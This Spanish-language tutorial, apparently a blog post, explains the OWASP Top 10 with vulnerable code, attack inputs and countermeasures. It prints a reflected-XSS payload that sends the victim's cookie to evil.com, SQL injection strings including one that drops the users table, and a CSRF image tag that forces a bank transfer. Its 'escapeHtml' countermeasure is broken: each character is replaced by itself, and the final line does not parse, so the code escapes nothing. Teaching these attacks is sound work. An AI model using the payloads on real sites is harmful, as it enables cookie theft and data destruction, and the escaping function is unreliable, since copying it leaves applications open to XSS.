¿Qué es OWASP Top 10?
Es un ranking de los riesgos de seguridad más críticos para aplicaciones web, publicado por OWASP (Open Web Application Security Project).
Top 10 (versión más reciente 2021):
- Control de Acceso Deficiente
- Fallas Criptográficas
- Inyección
- Diseño Inseguro
- Configuración de Seguridad Incorrecta
- Componentes Vulnerables
- Fallas de Autenticación
- Problemas de Integridad de Software y Datos
- Fallas de Registro y Monitoreo de Seguridad
- Server-Side Request Forgery (SSRF)
XSS (Cross-Site Scripting)
Es un ataque que inserta scripts maliciosos en páginas web.
Ejemplo de Ataque
<!-- Código vulnerable -->
<p>Resultados de búsqueda: <?php echo $_GET['query']; ?></p>
<!-- Ataque -->
/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Contramedidas
// 1. Escape en la salida
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 2. Usar escape automático del motor de plantillas
// React: Escapa por defecto
<p>Resultados de búsqueda: {userInput}</p>
// 3. Content Security Policy
// Encabezado HTTP
Content-Security-Policy: default-src 'self'; script-src 'self'
Tipos de XSS
| Tipo | Descripción |
|---|---|
| Reflejado | Parámetros de URL reflejados inmediatamente |
| Almacenado | Guardado en BD, ejecutado al mostrarse |
| Basado en DOM | Ocurre en JavaScript del lado cliente |
Inyección SQL
Es un ataque que inserta SQL malicioso en consultas.
Ejemplo de Ataque
-- Código vulnerable
SELECT * FROM users WHERE id = '$userId'
-- Ataque: userId = "1' OR '1'='1"
SELECT * FROM users WHERE id = '1' OR '1'='1'
-- → Se obtienen todos los usuarios
-- Ataque más peligroso: userId = "1'; DROP TABLE users; --"
Contramedidas
// 1. Prepared Statements (Consultas Parametrizadas)
// Ejemplo incorrecto
const query = `SELECT * FROM users WHERE id = '${userId}'`;
// Ejemplo correcto
const query = 'SELECT * FROM users WHERE id = ?';
db.query(query, [userId]);
// 2. Uso de ORM
// Prisma
const user = await prisma.user.findUnique({
where: { id: userId }
});
// 3. Validación de valores de entrada
if (!Number.isInteger(parseInt(userId))) {
throw new Error('Invalid user ID');
}
CSRF (Cross-Site Request Forgery)
Es un ataque que hace que los usuarios envíen solicitudes no deseadas.
Ejemplo de Ataque
<!-- Sitio del atacante -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Si el usuario está logueado en bank.com, la cookie se envía y se ejecuta la transferencia -->
Contramedidas
// 1. Token CSRF
// Servidor: Generar token y guardar en sesión
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;
// Incrustar token en formulario
<input type="hidden" name="_csrf" value="{{csrfToken}}" />
// Verificación
if (req.body._csrf !== req.session.csrfToken) {
throw new Error('CSRF token mismatch');
}
// 2. Cookie SameSite
Set-Cookie: session=abc123; SameSite=Strict; HttpOnly; Secure
// 3. Verificación de encabezado personalizado (AJAX)
// Las solicitudes cross-origin no pueden enviar encabezados personalizados
X-Requested-With: XMLHttpRequest
Fallas de Autenticación
Gestión de Contraseñas Vulnerable
// Ejemplo incorrecto
const hash = md5(password); // MD5 es vulnerable
// Ejemplo correcto
const hash = await bcrypt.hash(password, 12);
Gestión de Sesiones
// Regenerar ID de sesión después del login
req.session.regenerate((err) => {
req.session.userId = user.id;
});
// Prevenir ataque de fijación de sesión
Autenticación Multifactor (MFA)
Primer factor: Contraseña (conocimiento)
Segundo factor: Contraseña de un solo uso (posesión)
Tercer factor: Autenticación biométrica (biometría)
Control de Acceso Deficiente
IDOR (Insecure Direct Object Reference)
// Código vulnerable
app.get('/api/users/:id/profile', async (req, res) => {
const user = await db.users.findById(req.params.id);
res.json(user); // Cualquiera puede acceder
});
// Contramedida: Verificación de autorización
app.get('/api/users/:id/profile', async (req, res) => {
if (req.user.id !== req.params.id && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await db.users.findById(req.params.id);
res.json(user);
});
Escalada de Privilegios Horizontal y Vertical
Escalada horizontal: Acceso a datos de otros usuarios
Usuario A → Datos del Usuario B
Escalada vertical: Acceso a funciones de mayor privilegio
Usuario normal → Funciones de administrador
Encabezados de Seguridad
# Ejemplo de configuración Nginx
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options "DENY";
add_header X-XSS-Protection "1; mode=block";
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains";
add_header Content-Security-Policy "default-src 'self'";
add_header Referrer-Policy "strict-origin-when-cross-origin";
| Encabezado | Propósito |
|---|---|
| Content-Security-Policy | Protección XSS, restricción de recursos |
| X-Frame-Options | Prevención de clickjacking |
| X-Content-Type-Options | Prevención de MIME sniffing |
| Strict-Transport-Security | Forzar HTTPS |
| Referrer-Policy | Control de información de referrer |
Validación de Valores de Entrada
// Validación del lado del servidor (obligatoria)
const schema = z.object({
email: z.string().email(),
age: z.number().min(0).max(150),
username: z.string().min(3).max(20).regex(/^[a-zA-Z0-9_]+$/),
});
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.issues });
}
Lista de Verificación de Seguridad
□ Validar todas las entradas del lado del servidor
□ Procesar escape en la salida
□ Usar consultas parametrizadas
□ Implementar token CSRF
□ Hash adecuado de contraseñas
□ Forzar HTTPS
□ Configurar encabezados de seguridad
□ Implementar verificación de autorización
□ No filtrar información sensible en mensajes de error
□ Verificar vulnerabilidades de paquetes dependientes
□ Registrar logs de seguridad
Resumen
La seguridad web es un elemento importante que debe considerarse desde las primeras etapas del desarrollo. Tomando como referencia el OWASP Top 10, comprendamos las principales vulnerabilidades y contramedidas para construir aplicaciones seguras. La seguridad no termina una vez configurada, sino que requiere monitoreo y actualización continuos.
← Volver a la lista